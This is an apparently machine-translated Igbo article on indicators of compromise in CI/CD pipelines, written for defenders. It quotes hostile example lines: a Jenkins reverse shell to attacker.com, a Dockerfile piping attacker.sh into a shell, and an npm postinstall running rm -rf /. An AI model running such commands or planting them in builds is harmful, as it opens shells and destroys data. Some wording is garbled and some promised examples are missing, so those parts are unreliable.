Okwu Mmalite: Kedu ihe na-egosi nkwekọrịta na nchekwa ịntanetị?
Ihe ngosi nke nkwekọrịta bụ ihe ịrịba ama mbụ nke na-egosi na sistemụ gị ma ọ bụ pipeline nwere ike ịnọ n'okpuru mwakpo. N'okwu dị mfe, egosi nkwenye bụ ihe ndị mwakpo hapụrụ, dị ka ihe dị iche logins, mgbanwe faịlụ, ma ọ bụ malware zoro ezo. Na Nchebe ịntanetị nke IOC, ha na-eme dị ka mkpịsị aka n'ebe mpụ na-eme, na-enye gị ihe akaebe doro anya na ihe adịghị mma. Ya mere, mgbe ndị mmepe jụrụ Kedu ihe ndị na-egosi nkwekọrịta, azịza ya abụghị naanị sava ma ọ bụ firewalls, ọ gụnyekwara ihe egwu ndị zoro ezo n'oge a CI/CD pipelines.
Na ndị a pipelines, ndị na-awakpo nwere ike imebi koodu ahụ, tinye ihe ndị na-adịghị mma, ma ọ bụ gbanwee usoro nrụpụta n'enweghị onye ga-ahụ ya. Agbanyeghị, ọtụtụ ntuziaka ka na-elekwasị anya naanị na sava ma ọ bụ netwọk. N'ihi ya, usoro ọkọnọ ngwanrọ aghọọla otu n'ime ihe mgbaru ọsọ kachasị mfe.
Ọ bụ ya mere ịchọta ihe ngosi nke nkwekọrịta na CI/CD pipelines dị oke mkpa. Karịsịa, ọ na-enyere ndị otu aka igbochi malware, chebe ihe nzuzo, ma chekwaa usoro ọ bụla nke nnyefe ngwanrọ.
Ihe ngosi iri kachasị elu nke nkwekọrịta na CI/CD Pipelines
Mgbe a na-akọwa ihe ngosi nke nkwekọrịta, ọtụtụ ndepụta na-elekwasị anya na sava ma ọ bụ netwọk. CI/CD pipelineNdị na-awakpo na-ahapụ mkpịsị aka dị iche iche. Ịmata akara ndị a dị oke mkpa maka nchekwa ngwa ngwa. N'okpuru ebe a bụ akara ngosi iri na-acha uhie uhie nke IOC onye ọ bụla na-emepụta ihe na injinia nchekwa kwesịrị ileba anya maka ya.
1. Mgbanwe Ndị A Na-enyo Aenyo
Otu n'ime ihe ndị bụ isi na-egosi nkwekọrịta na pipelines bụ mmelite ndabere mberede, nke dị iche. Ndị na-awakpo na-ejikarị ebe ndị mmepe ntụkwasị obi dị na ndị njikwa ngwugwu tinye ngwugwu dị ize ndụ.
Dịka ọmụmaatụ, na npm a package.json diff nwere ike ịgụnye na mberede:
Mgbanwe ndị dị otú ahụ nwere ike iyi ihe dị nchebe mana ha nwere ike itinye koodu trojanized n'ime ihe owuwu ọ bụla.
Mmetụta: ihe owuwu ndị e mebiri emebi ketara malware na isi mmalite.
Nchọpụta: manye nyocha ịdabere, soro mgbanwe faịlụ mkpọchi, ma lelee ngwugwu ọhụrụ oge niile.
2. Koodu Ezochiri Emechi n'ime Ụlọ
Ndị dere malware na-adabere na nzuzo iji zere nyocha. N'ihi ya, ihe ngosi a nke nkwekọrịta na CI/CD pipelines nwere ike ịbụ otu n'ime ihe kacha sie ike ijide. N'ezie, ibu ndị a na-ekpuchi ekpuchi na-abanyekarị n'ọbá akwụkwọ mepere emepe ma ọ bụ onyonyo akpa na-enweghị ọkwa.
Ọmụmaatụ:
- Ngwugwu PyPI na-eji
base64.b64decode("cHJpbnQoSGFja2VkKQ=="). - Foto Docker juputara na ihe abụọ UPX na-adịghị mkpa.
- Javascript juputara na
\x41\x42gbapụrụ ezo ndị ohi akwụkwọ ikike.
Mmetụta: Koodu zoro ezo na-arụ ọrụ n'enweghị nsogbu n'oge nrụpụta ma ọ bụ oge ọrụ, nke a na-eme ka nke a bụrụ ihe mgbaàmà dị mkpa na nchekwa ịntanetị IOC.
Nchọpụta: Ikpokọta SAST site na nyocha malware iji gosipụta koodu e tinyere koodu n'ime koodu ma ọ bụ nke e tinyere n'ime ngwugwu. Karịsịa, were ihe na-eme ka ihe ghara ịdị mma dị ka ihe na-egosi na ọ dị mkpa inyocha ya nke ọma.
3. Ihe Nzuzo E Kpughere na Git: Ihe Ize Ndụ Nchekwa Saịbaịtị nke IOC Klasik
CI/CD pipelines na-eketakarị ihe nzuzo ozugbo site na ebe nchekwa ihe. Agbanyeghị, mgbe ihe nzuzo pụtara na Githa na-aghọ otu n'ime azịza kacha doo anya nye ajụjụ "kedu ihe na-egosi nkwekọrịta na pipelines?” Ozugbo asambodo rutere na Git, ndị na-awakpo nwere ike iji ha mee ihe ruo mgbe ebighị ebi.
Ọmụmaatụ:
- A
.envfaịlụ nwereAWS_SECRET_KEY=. - A gbanyere akara ngosi
config.json. - Ihe nzuzo ka na-apụta ìhè n'akụkọ ihe mere eme Git ọbụlagodi mgbe ewepụchara ya.
Mmetụta: Igodo ndị a kpughepụrụ ekpughe na-enye ndị mwakpo ohere ozugbo ịnweta ya CI/CD pipelines, sistemụ igwe ojii, ma ọ bụ nchekwa data. Ya mere, nke a bụ otu n'ime ihe ngosi kachasị dị ize ndụ nke nkwekọrịta.
Nchọpụta: Iji pre-commit hooks na ọrụ CI maka nyocha nzuzo, ma kagbuo igodo ndị gbapụrụ agbapụ ozugbo. Na mgbakwunye, mee ka mmezi akpaaka belata windo ndị na-ekpughe ihe.
4. Emebiala ihe Pipeline Nhazi: Ihe Ndị Zoro Ezo nke Nkwekọrịta
Pipeline nhazi bụ ihe mgbaru ọsọ dị elu n'ihi na otu mgbanwe na-ejikarị usoro ọrụ dum eme iheN'ihi ya, e megharịrị ya pipeline faịlụ bụ nnukwu ihe egwu nchekwa ịntanetị nke IOC nke ngwaọrụ nlekota ọdịnala anaghị achọpụta.
Ọmụmaatụ:
Na ihe omume GitHub:
- Na GitLab: ọrụ ọjọọ agbakwunyere na
.gitlab-ci.ymlnke na-ewepụ data dị mkpa. - Na Jenkins:
sh "nc -e /bin/bash attacker.com 4444".
Mmetụta: Mgbanwe ndị a na-akwadoghị na-eme ka ị gbanwee pipeline n'ime ụzọ azụ na-adịgide adịgide maka ndị na-awakpo, nke doro anya dị ka ihe na-egosi nkwekọrịta.
Nchọpụta: Mee ka nhazi ndị a bịanyere aka na ha dị irè, chọọ nkwenye PR, ma nyochaa maka ọrụ ndị a na-atụghị anya ha. Na mgbakwunye, setịpụ guardrails nke na-egbochi usoro ọrụ agbanwere na akpaghị aka.
5. Ihe ùgwù IaC Mmejọ
Nkọwa akụrụngwa e guzobere nke ọma na-emekarị ka e zoo ụzọ azụ. N'ihi ya, ihe ndabara na-apụta na IaC bụ ihe egwu nchekwa cyber nke IOC.
Ọmụmaatụ:
- Usoro ntinye Kubernetes na-enye ohere
privileged: true. - Chaatị okpu agha na-ekpughe ọrụ na
0.0.0.0:22.
Mmetụta: Ndị na-awakpo na-enweta ohere ịnweta mgbọrọgwụ ma ọ bụ na-ekpughe ọrụ dị n'ime n'ihu ọha. N'ihi ya, nsogbu ndị a na-agbasa elu mwakpo ahụ nke ukwuu.
Nchọpụta: Tee IaC nyocha iji manye ikike kacha nta tupu njikọta. Na mgbakwunye, hụ na enyochala nhazi ọ bụla dịka akụkụ nke pipeline.
6. Àgwà Mmepụta Ihe Na-adịghị Agbanwe Agbanwe
Ndị na-awakpo na-agbanwekarị mgbe niile pipeline omume ịdaba n'omume ọjọọ. N'ikwu ya n'ụzọ ọzọ, ihe omume owuwu pụrụ iche bụ otu n'ime azịza doro anya maka ihe ndị na-egosi nkwekọrịta na CI/CD pipelines.
Ọmụmaatụ:
- Ọ na-ewulite arịrịọ netwọk na-apụ apụ gaa na ngalaba ndị dị iche iche.
- Ọrụ Node.js na-emepụta PowerShell na mberede n'oge
npm install. - Ọrụ CI na-ebudata nnukwu ọnụọgụ abụọ nke a na-akọwaghị na edemede nrụpụta.
Mmetụta: Ihe owuwu ndị mebiri emebi nwere ike ịrụ ọrụ dị ka ebe nkesa malware. Karịsịa, ha na-agbasa ibu ọrụ ọjọọ n'ofe ebe ọ bụla a na-etinye ha.
Nchọpụta: Na-enyocha ndekọ ihe owuwu maka usoro ma ọ bụ njikọ ndị a na-atụghị anya ya. Ọzọkwa, hazie nchọpụta ihe na-adịghị mma ka o gosipụta omume ndị na-abụghị nke nkịtị.
7. Scripts Ngwugwu Ọjọọ dị ka Ihe Ize Ndụ Nchekwa Saịbaịtị nke IOC
Ndị njikwa ngwugwu na-akwado usoro ndụ hooks ndị mwakpo na-eji eme ihe. Ya mere, edemede ọjọọ dị na npm, PyPI, ma ọ bụ Dockerfiles bụ ihe ngosi siri ike nke nkwekọrịta.
Ọmụmaatụ:
- npm:
postinstalledemede na-agba ọsọrm -rf /ma ọ bụ na-egosi C2. - PyPI:
setup.pyịme koodu Python zoro ezo mgbe ị wụnye ya. - Faịlụ Docker:
RUN curl attacker.sh | sh.
Mmetụta: Mwakpo a na-eme n'oge nrụnye, tupu nnwale oge ọ bụla. N'ihi ya, ndị mmepe nwere ike ọ gaghị ama ruo mgbe oge gafere.
Nchọpụta: Nyochaa ngwugwu na-egosi maka edemede nrụnye. Na mgbakwunye, machibido ihe egwu dị na ya hooks in CI/CD ọrụ iji belata mkpughe.
8. Ihe ngosi nke nsi ndekọ nke nkwekọrịta
Ndị na-awakpo na-anọchi ma ọ bụ gbanwee ihe ochie dị na ndekọ, ihe omume ndị a bụkwa ihe atụ akwụkwọ ọgụgụ nke ihe na-egosi nkwekọrịta na usoro ọkọnọ pipelines.
Ọmụmaatụ:
- Ejiri akwa trojan emelite akara ngosi onyonyo Docker n'ime obi.
- Ejiri ụdị nsí dochie ngwugwu dị n'ime ya.
- npm namespace squatting, dịka ọmụmaatụ
lodash-proxy.
Mmetụta: Ihe owuwu ọ bụla ejiri ihe ochie ndekọ ahụ rụọ na-aghọ ihe mebiri emebi. Ọ bụghị naanị nke ahụ, nkwekọrịta ahụ gbasaara ruo na ọrụ ndị dị n'okpuru ala.
Nchọpụta: Mee ka ndị niile na-enyocha mbinye aka na iguzosi ike n'ezi ihe dị na ndekọ ahụ. Na mgbakwunye, soro ebe ihe ochie si malite SBOM nkwado.
9. Ọrụ Onye Ọrụ Na-adịghị Mma dị ka Ihe Akaebe IOC
Ihe fọrọ nke nta ka ọ bụrụ na akụkọ ndị mebiri emebi na-ahapụ ihe ndị na-adịghị mma mgbe niile. N'ihi ya, omume onye mmepụta ihe na-adịghị ahụkebe bụ ihe na-egosi nkwenye siri ike.
Ọmụmaatụ:
- Commits kpụpụrụ n'elekere atọ nke ụtụtụ n'oge mpaghara.
- Nkwado PR site na akaụntụ ezumike.
- Pipelines na-akpalite ugboro ugboro pụrụ iche.
Mmetụta: Ndị mwakpo na-eji akwụkwọ ikike e zuru eme ihe iji tinye mgbanwe ọjọọ. E kwuwerị, enweghị ikike. commits na-agwakọta ngwa ngwa n'ime usoro ọrụ nkịtị.
Nchọpụta: Nyochaa SCM ihe omume maka ihe ndị na-adịghị mma, manye MFA, ma na-atụgharị akara ngosi mgbe niile. Na mgbakwunye, na-adọ aka ná ntị maka ihe a na-enyo enyo commit ma ọ bụ ụkpụrụ nkwado.
10. Nlele Iguzosi Ike n'Ezi Ihe ma ọ bụ Mbinye Aka Daara Ada na Nchekwa Saịba IOC
Ihe a na-ahụkarị mana eleghara anya egosi nkwenye bụ nyocha iguzosi ike n'ezi ihe ma ọ bụ mbinye aka dara ada. Na nchekwa ịntanetị IOC, nyocha ndị a na-egosi na koodu ma ọ bụ ihe ochie bụ ezigbo ya. Ịhapụ ha akwụkwọ pipelines kpughere.
Ihe atụ:
- Hash SHA256 adabaghị na checksum a tụrụ anya ya.
- Mbinye aka GPG na-efu ma ọ bụ na-adịghị mma.
- An SBOM na-egosi ihe ndị e ji aka dee na-enweghị akara.
Mmetụta: Ọdịda iguzosi ike n'ezi ihe na-apụtakarị imebi ihe, nsị ndekọ, ma ọ bụ itinye malware.
Nchọpụta: Mee ka nlele mbinye aka rụọ ọrụ na akpaghị aka, mee ka nkwenye checksum dị mma, ma gbochie ihe ndị na-abụghị nke a bịanyere aka na ha. Karịsịa, were nlele ọ bụla dara ada dị ka ihe akaebe doro anya nke nkwekọrịta.
CI/CD Ihe Ndị Na-egosi Nkwekọrịta N'otu Anya
| Ihe Na-egosi Nkwekọrịta (IOC) | Mmetụta na CI/CD Pipelines | Otu esi achọpụta |
|---|---|---|
| Mgbanwe Ndabere A Na-enyo Aenyo | Ndị na-awakpo na-etinye ọbá akwụkwọ ọjọọ n'ime ndị njikwa ngwugwu, na-eduga na mmebi iwu. | Soro ọdịiche dị n'etiti faịlụ mkpọchi, manye nyocha ịdabere, ma nyochaa ndabere mgbe niile. |
| Koodu Ezochiri Emechi n'ime Ụlọ | A na-arụ ọrụ ndị zoro ezo n'oge nrụpụta ma ọ bụ oge ọrụ na-enweghị nchọpụta. | Iji SAST na nyocha malware iji gosi ụkpụrụ koodu base64, hex, ma ọ bụ nke ejiri koodu jupụta. |
| Ihe Nzuzo E Kpughere na Git | Ihe nrịbama ndị a gbapụrụ agbapụ ma ọ bụ igodo API na-enye ndị mwakpo ohere ozugbo ịnweta sistemụ dị mkpa. | Gbaa nyocha nzuzo na Git hooks ma kagbuo asambodo ndị a gbapụrụ agbapụ na akpaghị aka. |
| Emebiwo Pipeline Nhazi | Usoro ọrụ emezigharịrị na-enye ohere iwepụ ma ọ bụ ịnọgidesi ike na data CI/CD. | Chọrọ nkwenye PR, manye nhazi ndị edebanyere aha, ma nyochaa pipeline mgbanwe. |
| Ihe ùgwù IaC Mmejọ | Ọrụ ndị na-anaghị anabata ihe nke ukwuu ma ọ bụ ihe ndị na-adịghị mma na-ekpughe gburugburu igwe ojii. | Nyochaa faịlụ Terraform, Kubernetes, na Helm maka mmanye kachasị nta. |
| Àgwà Mmepụta Ihe Na-adịghị Agbanwe Agbanwe | Pipelineeji ya dị ka ebe nkesa malware ma ọ bụ maka mmegharị n'akụkụ. | Nyochaa ndekọ nrụpụta maka nbudata, usoro, ma ọ bụ oku mpụga a na-atụghị anya ya. |
| Ederede Ngwugwu Ọjọọ | Ederede zoro ezo tupu/mgbe nrụnye na-akpalite ibu ọrụ tupu nnwale oge ọsọ. | Gbochie edemede npm/PyPI dị ize ndụ ma machibido mmezu na CI/CD ọrụ. |
| Nsi Ndebanye Aha | Ihe ochie ndị e ji Trojan mee na-anọchi anya onyonyo ma ọ bụ ọnụọgụ abụọ a tụkwasịrị obi na ndekọ. | Nyochaa checksums, manye nkwenye mbinye aka, ma nyochaa ndị na-edebanye aha nke ọma. |
| Ọrụ Onye Ọrụ Na-adịghị Mma | Akaụntụ ndị mebiri emebi na-akpali obi ọjọọ commits ma ọ bụ ihe mkpali pipelines. | Mee ka MFA rụọ ọrụ, nyochaa commits maka ihe ndị na-adịghị mma, na nyocha login ihe nakawa. |
| Nlele Iguzosi Ike n'Ezi Ihe ma ọ bụ Mbinye Aka Daara Ada | Na-egosi koodu, ihe ndị dabere na ya, ma ọ bụ onyonyo ndị e tinyere na ya pipeline. | Na-enyocha iguzosi ike n'ezi ihe na akpaghị aka ma gbochie akụkụ ndị na-abụghị nke a bịanyere aka na ha ma ọ bụ ndị na-adabaghị na ha. |
Ihe Mere Nchekwa Saịberịa Omenala nke IOC Ji Aghara CI/CD Ize
Ọtụtụ òtù na-enyocha ihe ngosi nke nkwekọrịta na sava, kọmputa, ma ọ bụ netwọk. Agbanyeghị, ụzọ a na-ahụkarị maka nchekwa ịntanetị IOC anaghị eleghara anya. CI/CD pipelines, nke bụ otu n'ime ihe ndị kacha dị mkpa n'elu mwakpo. N'ezie, pipelines na-egosi ihe ịrịba ama pụrụ iche nke ngwaọrụ ọdịnala enweghị ike ịchọpụta.
Ihe Ndị Na-egosi Nkwekọrịta n'Omenala Nchekwa Omenala
Na nchekwa cybersecurity nke IOC nkịtị, a na-elekwasị anya na:
- Pụrụ iche loginadreesị IP ma ọ bụ adreesị s nke na-egosi nzere ezuru.
- Hashes faịlụ ma ọ bụ mgbanwe ndekọ na-egosi malware.
- Okporo ụzọ a na-atụghị anya ya nke na-egosi mwepụ data.
Ndị a bụ ihe ngosi a ma ama nke a na-esokwa na MITER ATT&CK ụkpụrụ, nke na-egosi omume na atụmatụ ndị mmegide a na-ahụkarị. Ndị a bụ ihe mgbaàmà bara uru. Agbanyeghị, ha na-emetụta sistemụ arụmọrụ ma ọ bụ netwọk ụlọ ọrụ. N'ihi ya, ha na-echefu mmejọ dị nro nke na-eme na mbụ na usoro ọkọnọ ngwanrọ.
Gịnị mere CI/CD Pipelines Dị Iche
CI/CD pipelines bụ gburugburu akpaaka ebe ndị mmepe commit koodu, ihe ndị a na-eji adọta ihe, na ihe ndị na-ewulite ntọhapụ. Ndị na-awakpo maara na nkwekọrịta ebe a na-agbakọta n'ofe usoro ọ bụla. Ya mere, gịnị bụ ihe na-egosi nkwekọrịta na CI/CD pipelineHa dị nnọọ iche:
- A na-agbakwunye ntụkwasị obi ọjọọ na ngwugwu.json ma ọ bụ requirements.txt n'olu dị ala.
- Igodo ma ọ bụ ihe ngosi API ekpughere na Git commitfaịlụ s ma ọ bụ .env.
- Koodu e tinyere n'ime ngwugwu npm ma ọ bụ PyPI.
- Faịlụ Terraform ma ọ bụ Kubernetes nwere ndabara nchekwa dịka private: true.
- Pipeline ọrụ edeziri iji wepụ data ma ọ bụ mepee ụzọ azụ.
Ihe mgbaàmà nkwekọrịta ndị a na-egosi na CI/CD ịnọgide na-adịghị ahụ anya standard ngwaọrụ nchekwa.
Oghere dị na nchekwa cyber nke IOC
Ọ bụ ezie na ọtụtụ ndị otu ghọtara uru nke ihe ngosi nke nkwekọrịta, ha ka na-adabere naanị na nchọpụta sitere na sava na ndekọ netwọk. Ya mere, ndị na-awakpo nwere ike imebi ihe owuwu ma ọ bụ tinye malware n'emeghị ka ọ hapụ ihe ndị a na-ahụkarị. Ọ bụ ya mere ihe omume dịka XZ Utils backdoor ma ọ bụ ngwugwu npm ọjọọ anaghị achọpụta ruo mgbe ha ruru mmepụta.
Ụdị nkwekọrịta a na usoro ọkọnọ ọkọnọ na-egosipụtakwa site na CISNtuziaka nchekwa nke usoro ọkọnọ A, nke na-adọ aka ná ntị na ndị mwakpo na-achọkarị ụzọ isi CI/CD pipelines na ndekọ.
Efu
Ọ dị mkpa ka IOC rụọ ọrụ nchekwa ịntanetị ọdịnala mana ezughị oke. Karịsịa, ndị otu ga-amata ihe ngosi nke nkwekọrịta kpọmkwem maka CI/CD pipelines. Naanị mgbe ahụ ka ha ga-enwe ike ịchọpụta koodu ọjọọ ma ọ bụ pipeline mmegbu tupu ọ gbasaa gburugburu ebe obibi.





